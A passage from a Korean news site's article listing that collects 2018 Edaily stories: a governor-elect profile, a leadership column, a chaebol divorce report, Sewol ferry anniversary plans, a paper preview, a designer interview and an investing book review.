우뚝 섰을 때 도민 여러분과 제 이름이 나란히 역사에 기록될 수 있도록 함께 나가자”고 덧붙였다.한편 이 당선자는 1955년생으로 김천고, 경북대 사범대 수학교육과를 졸업하고 연세대 행정대학원 정치학 석사과정을 마쳤다. 경북 상주와 의성에서 중학교 교사생활을 했고, 민선 1,2기 경북 정무부지사를 지냈다. 18대부터 내리 3선을 지낸 국회의원 출신이기도 하다. 의원 시절 한국당 사무총장, 최고위원 그리고 국회 정보위원장 등을 역임했다.
2018.06.13 I 김미영 기자
 리더의 비이성적인 행동을 제거하라
  • [최원호 박사의 인성으로 경영하라] 리더의 비이성적인 행동을 제거하라
  • 인성으로 경영하라 ⑤[최원호 서울한영대학교 겸임교수] 모든 인간의 행동에는 원인이 있고 나름대로 정당한 의도가 있다. 순간적 충동에 의한 행동과 의도를 가진 계획적인 행동은 전혀 다른 결과를 초래한다. 존경받는 기업은 존경받는 리더에 의해 만들어진다. 자신이 리더라면 의도적으로 직원을 무시하거나 상대를 험담하고 욕하는 비이성적인 행동이 있었는지 자신의 과거를 되돌아봐야 한다. 그 후에 구성원들의 행동과 의도를 이해하고 조정하는 능력을 익힐 때, 자신과 함께하는 모두가 힘차게 박동할 수 있는 긍정적인 의미와 가치가 부여된다.때문에 리더의 비이성적인 행동을 즉시 제거하지 않으면 시한폭탄이 되어 언젠가 공멸할 수밖에 없는 가장 위협적인 요소로 작용하기에 개선할 방법을 모색해야 한다. 주전자를 살펴보면 뚜껑에 구멍이 뚫려 있다. 평소 아무런 관심 없이 지나쳤겠지만 호기심을 발휘해서 ‘누가, 왜 이렇게 구멍을 뚫었을까?’를 생각해보자. 일본의 ‘후쿠이에’는 평범한 샐러리맨으로 자신에게 맡겨진 일에 최선을 다해 꼭 이루어내는 성실한 사람이었다. 그러던 어느 날, 감기몸살로 침대에 앓아누웠다가 침대 옆에 놓인 주전자 속의 물이 끓자 뚜껑이 들썩거리는 소리에 잠을 깼다. 덜컹거리는 소리에 제대로 잠을 잘 수 없어 그 순간, 어떻게 조용히 만들 방법은 없을까를 생각하다가 송곳을 찾아들고 주전자 뚜껑에 구멍을 뚫었다. 그러자 신기하게도 뚜껑이 들썩거리는 소리가 멈췄고 구멍을 통해 빠져나간 수증기 또한 집안의 습도 유지에 안성맞춤이었다. 그 후, 후쿠이에는 특허청에 가서 ‘구멍 뚫린 주전자 뚜껑’의 실용신안출원을 마쳤다. 이 소식이 알려지자 주전자 공장은 물론 냄비 공장에서까지 후쿠이에를 찾아왔다. 그들은 기꺼이 후쿠이에에게 로열티를 내고 주전자와 냄비를 만들게 되었고. 후쿠이에는 작은 아이디어로 부자가 되는 행운을 얻었다.물이 끓어오를수록 시끄러움이 더할 때 인간의 행동은 무의식적인 행동보다 상황에 따라 특정한 의도를 갖고 접근하는 ‘가치 판단적’ 속성을 보인다. 대인관계나 기업문화에 잘 적응하지 못하는 사람의 행동을 관찰해보면 그럴만한 이유가 있다. 그들은 마치 끓는 물소리에 주전자 뚜껑이 덜그럭 거리는 것처럼, 습관적으로 불평이나 원망의 비이성적 감정표출을 습관처럼 행한다. 마치 자신의 부족한 인성을 다른 비이성적인 소리로 대체하기 위한 내재적 변명처럼 말이다. 물이 끓어오를수록 시끄러움은 더 하고, 심지어 흘러넘치기까지 한다. 경영의 묘미는 이 시끄러운 소리를 조용하게 해결하는 방책을 찾는 것이다. 새로운 프로젝트가 시작되면 구경꾼이 있고, 감독자가 있다. ‘과연 이 프로젝트가 성공할까?’ 하며 은근히 부정적 결과를 기대하는 구경꾼들과 프로젝트가 잘된다 싶으면 그때야 다 된 밥에 젓가락 올리며 감독 행세하기에 바쁜 어설픈 감독…. 그런데 아이러니하게도 알고 보면 그들 모두가 리더들이다.이런 리더가 직원들과 함께 공존하는 한, 존경받는 기업으로 변신은 한계가 있다. 경영의 성패는 리더가 함께하는 사람들에게 어떤 태도와 언어를 사용하느냐에 달려있다. 분명한 사실은 먼저 리더의 행동에서 비이성적인 의도를 제거하지 않으면 조직이 정상적인 궤도를 달릴 수가 없다. 흔히들 ‘화가 머리끝까지 치밀어 오를 때 머리에 뚜껑이 열린다’는 이야기를 곧잘 한다. 이럴 때 리더는 펄펄 끓어오르는 분노의 감정에 스스로 구멍을 뚫어 다시는 덜거덕거리지 않도록 해, 화를 참을 줄 알아야 한다. 극단적인 순간에도 폭력적인 공격성이나 폭언은 있을 수 없음을 깨닫는 게 리더의 자질이다. 성숙하지 못한 리더는 취약한 자신을 숨기기 위해 다양한 위장 행동을 끊임없이 계발해낸다. 문제가 닥쳤을 때, 스스로 감정을 통제하지 못하고 우월적 지위만을 이용해 비이성적인 행동을 쏟아내는 행위는 조직의 안녕을 위협한다. 끓는 물주전자가 시끄럽다고 뚜껑만 한 번씩 열어다 닫았다 한다 해서 문제가 해결되는 것이 아니다. 임시방편적인 해결방법은 오히려 불필요한 갈등이나 더 난해한 분열만 자초할 가능성이 높다. 그렇다고 물이 끓기 전부터 뚜껑을 열어놓는 듯한 행동, 즉 근본적 해결점을 찾지 않는다면 끓어오르는 열정에 찬물을 끼얹거나 구성원들의 동기부여마저 끓어오르지 못하도록 하는 비정상적 억압행동이다.리더는 스스로 내면을 다스릴 줄 알아야 세계 최고의 리더십의 전문가의 한 사람인 워렌 베니스는 ‘변혁적 리더십’을 강조하면서 리더는 고정된 울타리 내에서 안주하는 것이 아니라 항상 변화하는 상황에 맞게 자신을 끊임없이 변혁해야 한다고 강조했다. 경영자의 책임 있는 리더십은 인성으로 경영하는 새로운 비전과 동기를 부여하는 전략이다. ‘자신을 관리하고 타인을 리더 하라’는 것은 실천 없는 리더의 외침은 허공에 외치는 메아리와 같다는 것을 의미한다. 자신을 돌아보는 통찰을 통하여 리더는 조직 내에서 구성원들과 성숙한 관계를 유지시킬 수 있다.‘윗물이 맑아야 아랫물도 맑다’라는 말은 실천의 중요성을 강조하는 전략의 영리한 표현이다. 리더와 직원의 상호보완적인 관계에 금이 갔을 때 발생하는 심리적 방어행동은 경영의 위기를 초래한다. 한번 금이 가기 시작한 리더와 조직원과의 관계는 다시 회복하기에 상당한 시간이 걸리기도 하고, 자칫 회복할 수 없을지도 모른다. 그러므로 나 한 사람만 불편함을 감수하고 넘어가면 된다며 침묵하거나, 부당한 상황임에도 ‘좋은 것이 좋다’며 적당한 선에서의 타협은 자충수가 될 것이다. 일부의 의도된 부정적 행동에 눈 감는 것은 인성경영을 방해하는 요인임을 분명하게 인식하자. 그렇지 않으면 멸시 가득한 우월의식을 키우게 되고 조직원을 깎아내리는 비열하고 양심없는 행동이 고착될 것이다. 이런 행동은 조직 내의 조직원의 존재 의미를 흐리게 만들고, 조직원들로 하여금 ‘복수’라는 위협적인 잠재의식을 가지게 만들 수도 있다.인성경영은 사전에 이러한 흠을 찾아 해결함으로써 조직을 긍정적으로 변화시킬 원동력으로 작용 된다. 그렇지 않으면 아무도 자신의 행동을 책임지려고 하지 않게 된다. 리더로서 자신의 책임을 저버리고 남에게 모든 책임을 전가하는 무책임은 리더 스스로 자신을 보호하기 위한 어리석은 행동에 불과하다. 불안요소를 해소하지 않고 방치하면 언제 빠져들지 모르는 블랙홀을 키우는 것과 같다. 조직 내에 덜그럭거리는 비이성적인 소리에 귀를 기울이고 이를 해결하려는 노력이 필요하다. 상대방의 의도를 충분히 파악했으면 이미 공유된 경험이나 내용을 찾아서 손상된 부분을 복구하는 노력이 필요하다. 포기하지 않는다면 손상된 관계의 회복 기회는 찾아온다.컴퓨터를 안전하게 사용하려면 가끔 바이러스 검사나 하드디스크 정리도 필수사항이다. 인간의 감정도 마찬가지로 중간 점검이 필요하다. 상대의 감정을 이해하지 못해 존중하지 못하는 언행이 있었는지, 솔직한 피드백에 귀 기울여라. 훌륭한 리더는 자신의 내적인 하드디스크 손상을 검사하고 자가 치료할 수 있는 방어적인 행동을 벗어 던질 때 빛난다.최원호 박사(Ph. D)(사)국제청소년문화교류협회 이사장나눔과 배움 사회적협동조합 이사장한국교육상담연구원 원장서울한영대 겸임교수상담심리전문가/인성교육전문가저서 : 인성경영질문, 인성교육개론
2018.05.09 I 이선미 기자
이혼소송 제기한 조현아 남편은 누구?
  • 이혼소송 제기한 조현아 남편은 누구?
  • 8일 조현아 전 대한항공 부사장은 남편인 박모씨로부터 이혼소송을 당한 것으로 알려졌다. (사진=연합뉴스)[이데일리 한정선 기자] 한진그룹 오너가의 장녀 조현아 전 대한항공 부사장이 결혼 8년 만에 이혼소송을 당했다. 연일 한진그룹 오너가의 갑질과 불법 의혹 등이 불거지는 상황으로, 조 전 부사장의 남편에 대한 관심도 커지고 있다.조 전 부사장의 남편인 박모씨는 의료계에서는 보기 드문 ‘서울대 의대 3부자 성형외과 의사’로 유명한 인물이다. 부친은 선천성 기형 수술의 최고 권위자로 서울대 성형외과 명예교수이며 박씨의 형 또한 서울 강남에서 성형외과 의사로 재직하는 것으로 알려졌다. 박씨는 안면교정 수술에서 인정을 받은 인물로 서울 강남의 성형외과에서 일하다가 인하국제의료센터로 적을 옮긴 바 있다.조 전 부사장과 박 씨는 경기초등학교 동창으로 지난 2010년 10월 결혼했으며 슬하에 쌍둥이 자녀를 두고 있다. 박씨는 조 전 부사장이 2014년 ‘땅콩 회항’으로 사회적 물의를 빚었을 때 인하국제의료센터에 일감 몰아주기 의혹이 제기되며 한차례 주목을 받기도 했다. 인하국제의료센터는 대한항공과 인하대 병원 등 한진그룹 계열사가 380억원을 투자해 인천시 중구에 지하 2층, 지상 9층 규모로 설립한 곳으로 대한항공 측이 이 의료센터에 직원들의 건강검진과 조종사 항공 신체검사까지 맡겨 주주회사인 대한항공이 막대한 금전을 지불하고 있다는 의혹을 받았다. 당시 대한항공 관계자는 “인천공항에서 출퇴근하는 승무원들이 많아 편의를 위해 그간 직원들의 각종 검사를 맡았던 김포공항 내 항공의료원에서 이 의료센터로 옮긴 것일 뿐”이라고 해명했다.
2018.04.30 I 한정선 기자
세월호 4주기..김영춘 "미수습자 찾을 것"
  • 세월호 4주기..김영춘 "미수습자 찾을 것"
  • 김영춘 해양수산부 장관이 문재인 대통령으로부터 임명장을 받은 다음 날인 지난해 6월 17일 첫 현장 방문지로 전남 목포시 목포신항을 찾았다. 김 장관은 “지난 정부와 전혀 다른 자세로 세월호 문제 해결에 임할 것”이라며 세월호 선체수색 상황을 점검하고 미수습자 가족들을 위로했다.[사진=뉴시스][세종=이데일리 최훈길 기자] 오는 16일 세월호 참사 4주기를 맞아 정부 주관으로 희생자 영결식이 열린다. 14일 해양수산부에 따르면 정부는 16일 오후 3시 정부 합동분향소가 있는 경기 안산시 화랑유원지에서 ‘4·16 세월호 참사 희생자 정부 합동 영결·추도식’을 연다. 정부 차원에서 세월호 참사 희생자를 위한 영결식이 열리는 건 이번이 처음이다. 정부 합동 영결·추도식에는 희생자 유가족을 비롯해 이낙연 국무총리, 김상곤 부총리 겸 교육부장관, 김영춘 해양수산부 장관, 정당 대표, 국회의원, 단원고 학생, 안산시민 등 5000여명이 참석할 예정이다.추모공원 조성 방침에 따라 영결·추도식을 끝으로 세월호 참사 정부 합동분향소는 철거된다. 합동분향소의 영정과 위패는 유가족에게 전달하거나 추모공원 설치 때까지 국가기록원에 보관된다.김영춘 장관은 “이번 영결·추도식이 유가족과 국민의 아픔이 회복될 수 있는 계기가 되길 바란다”라며 “세월호 선체 직립작업과 아직까지 수습되지 못한 희생자 다섯 분의 수색작업을 차질없이 진행하겠다”라고 밝혔다. 해수부 관계자는 “선체를 세우는 직립 작업이 완료된 뒤인 6월 초나 하순께 미수습자 수색이 재개될 예정”이라고 말했다. 4년 전 세월호 참사 이후 가족 품에 온전히 돌아오지 못한 미수습자는 단원고 2학년 6반 남현철·박영인 군, 단원고 교사 양승진 씨, 일반승객 권재근·권혁규 부자(父子) 등 5명이다. 지난해 세월호 인양 전후로 고창석·이영숙 씨·허다윤 양·조은화 양 등 4명의 유해는 신원이 확인됐다. 하지만 미수습자 5명은 뼛조각도 찾지 못한 상황이다.문재인 대통령은 지난해 8월16일 청와대 영빈관에서 세월호 피해자 가족 200여명과 만나 “선체 수색이 많이 진행됐는데도 아직도 다섯 분이 소식이 없어서 정부도 애가 탄다”며 “아직 돌아오지 못한 미수습자들이 모두 가족 품으로 돌아올 수 있기를 간절히 기도하고 있다. 정부는 가족들의 여한이 없도록 마지막 한 분을 찾아낼 때까지 최선을 다하겠다”고 약속했다. 문 대통령은 “늦었지만 정부를 대표해서 머리 숙여 사과와 위로의 말씀을 드린다”며 “세월호의 진실규명을 위해서도 정부가 국회와 함께 최선을 다하겠다”고 강조했다. 다음은 다음 주 해수부 주간 보도계획 및 주간 행사일정이다.◇주간 보도계획△16일(월)11:00 학교·군급식 관계자 대상 수산물 ‘쿠킹클래스’ 운영△17일(화)11:00 인천 내항 통합개발 추진협의회 구성 및 1차 회의 개최△18일(수)11:00 해외항만개발 정기협의회 개최 △19일(목)06:00 해수부, 민간과 함께 원양산업제도개선 방안 논의한다11:00 제13회 대한민국 해양사진대전 개최△20일(금)10:00 우수해양관광상품 공모전 최종 선정결과 발표△22일(일)11:00 이사부호 함께 타고 산ㆍ학ㆍ연 대양연구 하모니를 이루다!◇주간 행사일정△16일(월)10:40 제4회 국민안전의 날 국민안전 다짐대회(김영춘 장관, 서울청사 별관)15:00 4.16세월호참사 희생자 정부 합동 영결·추도식(장관·강준석 차관, 안산 화랑유원지)△17일(화)10:00 국무회의(잠정)(장관, 서울-세종 영상회의)△18일(수)10:00 녹색성장위원회(잠정)(장관, 세종청사)△19일(목)10:30 차관회의(잠정)(차관, 서울-세종 영상회의)
2018.04.14 I 최훈길 기자
  • [미리보는 이데일리신문]‘메자닌’에 몰리는 강남부자들
  • [이데일리 김윤지 기자]다음은 6일자 이데일리 신문 주요 기사다.△1면-부동산도 주식도 불안하다…‘메자닌’에 몰리는 강남부자들-벼랑끝 해운 살리기…8조 투입해 배 200척 만든다-‘3.9조 일자리 추경’ 청년·고용위기지역에 푼다-“딱! 소주3잔”…불어보니 면허취소 만취 단속기준 강화 법안은 해 넘겨 서랍 속에 -[사설]엘리엇의 현대차 공격 손놓고 볼 텐가-[사설]대학사회의 연구 윤리가 무너지고 있다△줌인&-[줌인]배 한 척으로 시작…바다 사나이들의 의리가 ‘참치 왕국’ 일궈-관세 폭탄 주고받은 미·중…칼날 숨긴 채 협상모드 급전환-음주운전 매년 20만건 이상 적발△해운재건 5개년 계획-‘해운 체질 개선’ 팔 걷어붙인 정부…선사들 자발적 구조조정과 시너지 기대-“해운업 살리기 강한 의지 환영”-한국 선사 신뢰도 바닥…국내 화주들도 등 돌려 △강남 부자들이 움직인다 -금리 상승, 양도세 중과 피해…비상장株·PDF 새 투자처 찾기 잰걸음-가치 떨어진 달러, 금리 따라 반등 기대할만 -“공격적 투자는 자제, 출구전략 먼저 세워라”△정부 ‘일자리 추경’ 3조9000억원-노동시장 구조개혁 근본 처방 없이…고질병 청년실업에 ‘땜질 추경’-고용위기 지역에 1조…대체산업 유치 없인 언 발 오줌누기-野4당 반대하지만…“호남 위해서라면 해볼만” 평화와 정의가 캐스팅보트 △음주운전에 관대한 한국-작년 음주운전으로 439명 목숨 잃어…“실수 아닌 범죄란 인식부터 가져야”-경찰청장도 음주운전…모범 보이기는커녕 한술 더 뜨는 고위공직자들-‘1년 정도 쉬다 나오지 뭐’…음주운전 가볍게 생각하는 연예인들 △박근혜 오늘 1심 선고-朴 “법치 이름으로 한 정치보복”…재판 보이콧 차원서 항소 포기할 수도 -국민 사과 대신…모르쇠·책임회피로 일관한 朴△정치-보수 재편 주도권 다툼 본격화 한국당 PK, 바른미래 서울 ‘사활’-최대난제 비핵화…돌다리 두드리는 靑-日 언론 “北 비핵화땐 美단계적 보상 검토”-‘방송법 개정안’ 암초…4월 임시국회 개점 휴업△경제-재정개혁특위 9일 출범…‘똘똘한 1채’ 해법 찾나-“노사 갈등 지속 땐 파국” STX 조선·한국GM 압박-“한은, 상반기 기준금리 올리기 어려울 것”△금융-美뉴욕라이프·푸르덴셜도 가세 ING 생명 새 주인 찾기 점입가경 -김기식 “하나銀 남녀차별 채용 충격…반드시 개선”-카드사 수익 악화에…여신協 노사 10년 만에 임금동결-금감원 ‘육류담보대출 사기’ 동양생명에 중징계△산업&기업-삼성·SK 합쳐 점유율 52%…韓낸드플래시 독주-한국GM 사장 “오늘 성과급 못 준다”-삼성重 “LNG선 2척 추가요”-인수된 지 한 달 만에…대우전자 구조조정 돌입-수소차 보조금 추경 무산…넥쏘 계약자 발 동동 △산업-클라우드업계, 게임사 공략 잰걸음…아마존 아성 깬다-KAIST “킬러로봇 개발 안해” 해명에도…국방AI 센터 타깃-“北해커, 방어기술 우회하는 지능형 공격 강화”-SK브로드밴드, 바다밑 1만500km ‘인터넷 고속도로’ 구축 참여△소비자생활-현대百그룹 순환출자 고리 끊었다…정지선·교선 형제 지배력 강화-한약 냄새 풍기는 골목에 아이들 우르르…활기 찾은 경동시장-집을 안식처로…‘케렌시아’ 열풍에 향초·디퓨저 인기△중소기업·벤처-옷 말려주고 공기 청정까지…‘가성비 甲’ 의류가전 납시오-엄마·아빠 손 잡고 3D 프린터·VR 체험-“온라인 판매·원산지표시로 이케아 공습에도 살아남았죠”-한샘 신입사원, 상암동 노을공원서 나무심기 활동△증권&마켓-고객 한 명 100억원 들고 오기도…오전에 이미 완판 “남은 펀드 없나” 문의도 -中폐기물 규제에 처리 업체만 好好-운용사별 펀드 차별화 전략△증권-“3년내 매출 5배 끌어올려 한국내 저평가 해소할 것”-매각이냐 유상증자냐…갈길 잃은 MG손보-SKC코오롱PI, 휘는 디스플레이 시장 대비 신규공장 증설-1조원대 한화종합화학 지분 인수전, 다음주께 윤곽△여행-초.록.샤.워.…부산 기장군 철마면 아홉산 숲-아이디어 참신하네…톡톡 튀는 ‘관광中企’ 투자해볼까△스포츠-삼진 잡고 홈런 치는…‘베이브’ 오타니-정재은 “우승하고 싶어요…아니 꼭 해낼게요”-마스터스, 비명 지르려면 1000만원 잃을 각오해야-‘배구여제’ 김연경, 8일 국내 코트 누빈다-‘추추 트레인’ 출발-오승환, 1이닝 무실점△사람&나눔-사실 말했는데 ‘명예훼손죄’라니…성폭력 피해자들이 미투 나서겠나-“스마트시티 시대, 사이버보안 범위 넓혀야”-삼성전자 미래기술 연구과제 선정 치매·난치암 등에 501억원 지원-“일자리 문제, 창의적으로 해결” 대한상의·일자리委, 한 목소리-‘MB사위’ 이상주 전무 삼성전자 준법지원인 사임△오피니언-[남궁 덕 칼럼]이완근 회장이 테슬라 타는 까닭-[목멱칼럼]AI 신약개발 성공 조건-[기자수첩]엘리엇의 딴지, 투명경영 강화 계기 삼아야 △부동산-큰 장 서는 2분기 분양시장…‘로또 아파트’ 잡을 적기-서울지역 과밀업종 1위는 ‘부동산’-인천 센트럴파크역 연결 ‘선시공 후분양’ 상가 분양-앱에 나온 그 집, 가보면 없더라…허위매물 신고 최대△사회-휠체어 길 터주자고…장애인 운영 지하철 매점 철거하자는 서울교통公-“술 취한 척, 가슴 만지려고 해” 고려대 교수도 女제자 性추행-최악 취업난에 청년들 “결혼 안해요”-전국초등학교에 공기 정화기 설치한다
2018.04.05 I 김윤지 기자
①"이상봉과 라이, 프라다·미우미우 될래요"
  • [성공異야기]①"이상봉과 라이, 프라다·미우미우 될래요"
  • 19일 서울 강남구 이상봉 매장 쇼룸에서 만난 부자(父子) 디자이너 이상봉(우)과 이청청(좌) ‘라이’ 대표. 이 대표는 부친과 쇼룸을 공유하며 한국을 대표하는 여성복 디자이너로 같은 길을 걷고 있다.(사진=이데일리 신태현 기자)[이데일리 성세희 기자] 지난 19일 찾은 서울시 강남구 디자이너 브랜드 ‘이상봉’ 본사. 이곳의 영문 간판은 ‘리(LEE)’ 대신 ‘라이(LIE)’로 쓰여 있었다. 이상봉(63) 디자이너 장남이자 여성복 디자이너 이청청(40) 라이 대표가 2013년 선보인 여성복 브랜드 ‘라이(LIE)’와도 같은 이름이다. 라이 제품이 ‘이상봉’ 본사 1층에 전시돼 있으며 이곳에서 일부 디자인·제작되기도 한다.이 대표는 부친을 ‘선생님’으로 칭하며 “선생님이 오래전부터 (본인 브랜드를) 독창적으로 표현하고 싶어서 본인 영문을 ‘LEE’ 대신 ‘LIE’로 표기했다”라면서 “본인 여권 영문 이름을 바꾸지 못해서 아쉬워한다”고 설명했다. 이 대표가 처음부터 부친과 같은 길을 선택한 건 아니었다. 그가 1999년 영국 유명 디자인 학교인 센트럴 세인트 마틴스 예술대(CSM)에서 고른 첫 전공은 ‘예술과 디자인(ART&DESIGN)’으로 패션 경영 쪽이었다. 이 대표는 “처음엔 패션 사업에 뛰어들고 싶다는 생각에 CSM에 입학해 3년간 전반적인 패션업계를 배웠다”라고 말했다.중간에 전공을 바꾼 이 대표의 선택은 여성복이 아닌 남성복이었다. 이 대표는 “패션을 알아가면서 직접 디자인하고 싶다는 욕구가 생겨서 학사 졸업 후 2006년 남성복 디자인과로 편입했다”라며 “2008년 졸업하자마자 영국 디자이너 지원 프로그램에 선정돼 (세계 4대 패션쇼인) 런던 패션위크에 두 차례 섰다”라고 말했다.◇때론 선생님…여성복 색·패턴 갈피 못잡을 때 아버지 큰 도움남성복 디자이너로 촉망받던 이 대표는 막상 남성복 브랜드를 만들려고 하자 벽에 부딪혔다. 남성복 시장이 생각보다 작고 치열했기 때문이다. 또 여성복이란 새로운 분야에 도전하고 싶은 마음도 컸다. 이 대표는 “2010년쯤 국내·외 남성복 도매업자(바이어)와 여성복 도매업자 비율은 1대 9 정도였다”라며 “디자인을 시작하고 나니 여성복을 디자인해보고 싶다는 욕심이 생겼다”라고 설명했다.그러나 남성복을 전공한 이 대표가 여성복 디자인을 시도하면서 크고 작은 시행착오를 겪었다. 여성 인체는 남성과 달라서 처음부터 다시 배워야 했다. 또 처음에는 여성이 어떤 색감이나 디자인을 좋아할지 감이 잡히지 않았다고 털어놨다.이씨는 “남녀 인체가 다르게 생겼기 때문에 옷 패턴부터 전혀 다르고 차이도 크다”라며 “어떻게 만들어야 더 예쁠지 몰라서 고민했다”라고 말했다. 그러면서 “여성복이 남성복보다 과감한 부분이 많고 여성 심리를 이해하는 게 무척 어려웠다”라며 “남녀가 옷으로 자신을 표현하는 방식이 다르기 때문에 여성 고객 등 주변에 많이 물어봤다”라고 덧붙였다.디자이너 이청청 씨기 19일 서울 강남구 이상봉 본사 내 작업실에서 인터뷰에 응했다. 이씨가 입은 맨투맨 티셔츠는 본인 브랜드인 ‘라이’ 제품이다.(사진=이데일리 신태현 기자)이 대표는 ‘선생님’ 아래서 배우는 길을 택했다. 그는 귀국 후 ㈜이상봉에서 디자인을 배우기 시작했다. 이씨는 “다른 분야라면 몰라도 여성복이라면 디자이너로서 ‘이상봉’에서 일을 배워야겠다고 다짐했다”라며 “2010년 12월 채용돼 디자인을 배웠다”라고 회상했다. 데면데면한 부자 관계였던 두 사람은 같은 길을 걸으면서 조금씩 가까워졌다. 이 대표가 늘 바쁜 삶을 살았던 부친을 이해하게 된 계기였다. 이 대표는 “정식으로 함께 일하기 전에는 서먹서먹한 관계였는데 같이 일하면서 선생님을 이해하게 됐다”라며 “부친이기 이전에 멘토로서 조언해준 덕에 라이가 5년 만에 빠르게 성장할 수 있었다”라고 말했다.라이는 출범 5년 만에 급성장하며 전 세계 60여개 매장을 냈다. 특히 지난해 9월 미국 뉴욕 패션위크에 서면서 세계 시장에서 호평을 받았다. 라이 2018년 봄·여름(S/S) 컬렉션이 올 초 두바이 고급 백화점 ‘갤러리 라파예트 두바이’에 팝업스토어(임시 매장)로 소개됐다. 오는 6월 일본 오사카에서도 라이 팝업스토어가 열린다. 국내에서는 이달 3일 경기도 판교 현대백화점에 정규 매장을 냈다. ◇때론 경쟁자…‘LEE’ 대신 ‘LIE’ 간판 내걸고 세계로요즘 이 대표는 몸이 열개라도 모자랄 지경이다. 미국 뉴욕 패션쇼 무대에 선 라이 제품은 프랑스 파리로 건너가 전시회에 참여했다. 또 싱가포르에서 패션업계 관계자와 언론인 등을 초청해 쇼케이스를 열고 이달 말엔 중국 상하이로 건너갈 예정이다. 이 대표와 라이 관계자는 직접 짐을 싸들고 태평양과 대서양을 건너 바이어를 만난다.국내 1세대 대표 디자이너인 이상봉씨는 장남이 단시간내에 성장할 수 있도록 뒷받침이 됐다. 처음 이 대표가 학교를 선택할 때 CSM을 추천한 것도 이씨였다. 영국의 자유분방하고 창의적인 교육 방식이 이 대표를 성장시켰다.이 대표는 “미국과 달리 영국 등 유럽 디자인 학교는 학생들의 상상력을 중요하게 여긴다”라며 “디자인 실무 등을 가르쳐주는 학교도 있지만 우리 학교(CSM)는 학생이 스스로 창의적인 디자인을 끌어낼 수 있도록 도와줬다”라고 말했다.이제 브랜드를 총괄하는 이 대표는 ‘이상봉’과 다른 길을 걷는다. 그는 “디자이너 대 디자이너로서 라이 관련된 일은 주도권을 쥐고 본인이 책임지고 일한다”라며 “선생님이 라이 패션쇼 전에 디자인을 보여달라고 해도 보여주지 않는다”라고 설명했다.이 대표는 프라다나 샤넬 등 외국 브랜드처럼 ‘이상봉’이 긴 역사를 지닌 브랜드로 기억되길 바란다. 동시에 ‘라이’를 젊은 고객이 좋아할 감각적인 브랜드로 만들겠다고 다짐했다. 이탈리아 고급 브랜드 ‘프라다’가 젊은 고객층을 겨냥한 브랜드 ’미우미우(Miu Miu)’를 키웠듯이 말이다. 라이는 그런 고민 속에서 탄생한 여성복 브랜드다. 이 대표는 “‘사랑(LOVE)·정체성(IDENTITY)·자아(EGO)’ 첫 글자를 따서 브랜드 라이(LIE)를 만들었다”라며 “여성 고객이 라이 옷을 입었을 때 자신을 사랑하고 표현하는 브랜드란 느낌을 주고 싶었다”라고 설명했다. 그러면서 “나중에 ‘이상봉’이란 브랜드를 맡아서 역사가 있는 브랜드로 계속 키우고 싶은 마음도 있다”라며 “프라다와 미우미우처럼 라이도 이상봉 고객층과 다른 고객층을 겨냥한 제품을 만들고 싶다”라고 말했다. 아울러 “(본인이) 총괄해 (이상봉과 라이를) 하이엔드(최고급)부터 현대적인 감각을 자랑하는 하우스 브랜드(한지붕 아래 독립적으로 운영되는 브랜드)로 운영하고 싶다”라고 덧붙였다.
2018.03.27 I 성세희 기자
가상화폐서도 실패한 난 이제 어디로?
  • 가상화폐서도 실패한 난 이제 어디로?
  • 시장이 뒤집어져도 광분한 투자자들이 우왕좌왕해대도 돈의 법칙은 흔들리지 않는다. 변화심리학자인 토니 로빈스는 그런 돈의 법칙을 꿰뚫으려면 투자자 ‘내부의 적’인 감정부터 다스리라고 조언한다. 0.001%의 부자가 머니게임에서 이기는 바로 그 비법이라고(이미지=이데일리DB).[이데일리 오현주 문화전문기자] 세상은 바뀌어도 변하지 않는 법칙이 하나 생겼다. ‘내가 하는 투자는 반드시 실패한다’는 것. 주위 눈치 봐가며 주식시장에 쌈짓돈을 부지런히 넣다 뺐다 해봐도, 들썩인다는 부동산시장을 연신 기웃거려 봐도, 밤잠 설친 벌건 눈을 비비며 가상화폐시세표에 요동치는 숫자를 열심히 노려봐도, 엔딩은 역시 한 길로 흐른다. “아, 또 망했다!” 도대체 누가 돈을 버는 건가. 여기 슬그머니 반전을 꾀하는 사람이 있다. “당신은 실패한 게 아니야”라고 말해주면 좋겠는데 그건 아니고, “진짜 중요한 법칙이 따로 있기 때문”이란다. 당신이 망한 게 그 법칙 때문이라고. 그걸 알아야 진검승부를 펼칠 수 있다고. 바로 ‘돈의 법칙’이다. 시장에 난리가 나도, 광분한 투자자들이 우왕좌왕해대도 돈이 나아갈 길인 ‘돈길’은 정해져 있다는 것이다. 천지개벽에도 미동도 않는다는 ‘돈의 법칙’이 0.001% 부자나 99.999% 부자가 되고 싶은 이들의 머리 위에 놓여 있다는 거다. ‘변화심리학의 대가’로 불리는 저자의 생각은 확고하다. 발단은 단순했다. 2008년 금융위기를 지켜보며 문득 의문이 생겼다. 왜 부자들은 위기에 더 큰 부자가 되고 평범한 사람들은 더 가난해지는가. 다음 할 일이 정해졌다. ‘부자는 어떻게 머니게임에서 이기는가’를 알아내보자고 했다. 워런 버핏, 폴 튜더 존스, 레이 달리오, 앨런 그린스펀 등 세계의 부를 막대하게 끌어모으는, 금융계를 쥐락펴락하는 0.001%의 ‘큰손’ ‘금손’을 만나는 일부터였다. 책은 그렇게 얻은 그들의 투자철학을 토대로 뽑은 돈철학이다. △투자의 가장 큰 적은 ‘감정’ 다음은 ‘수수료’ 돈, 투자, 시장, 위기, 경제, 금융. 세상에 골치 아픈 건 다 모아놨지만 저자의 잣대는 명쾌하다. 이 골칫거리들과의 한판 승부를 방해하는 ‘내부의 적’을 없애란 것. 그중 가장 큰 적은 투자자의 ‘감정’이란다. 한마디로 일희일비하지 말란 거다. 제발 촐싹대지 말고 진득하게 자리를 지키란 얘기다. 물론 안다. 두려움·탐욕 같은 감정의 지배를 받기 시작하면 정신 나간 짓을 하는 게 인간의 속성이니까. 주가가 떨어질 때 공황상태에 빠지는 건 우리 뇌가 경제적 몰락을 ‘죽음’과 동등하게 인식해서라니까. 2008년 금융위기란 폭풍이 몰아쳤을 때 놀라서 뛰쳐나간 이들은 거의 살아남지 못했다. 될 대로 되라며 내버려둔 소수만 살아남았다. 그런 비상상황이 아니더라도 주식투자든, 가상화폐든 숱하게 보지 않았나. 절대로 잃으면 안 될 돈까지 싹싹 긁어 투자하는 사람, 지레 겁먹고 다 팔아버린 뒤 정작 시장이 반등했을 때 기회조차 못 잡은 사람. 이 지점에서 저자의 당부는 간곡하다. “정말 중요한 건 현실이 아닌 현실을 어떻게 믿고 있는가”라고. 감정만큼 강력하지 않지만 결코 무시해선 안 된다는 두번째 적도 공개했다. ‘수수료’다. 주식은 물론 펀드니 연금보험이니 곳곳에서 따박따박 빼가는 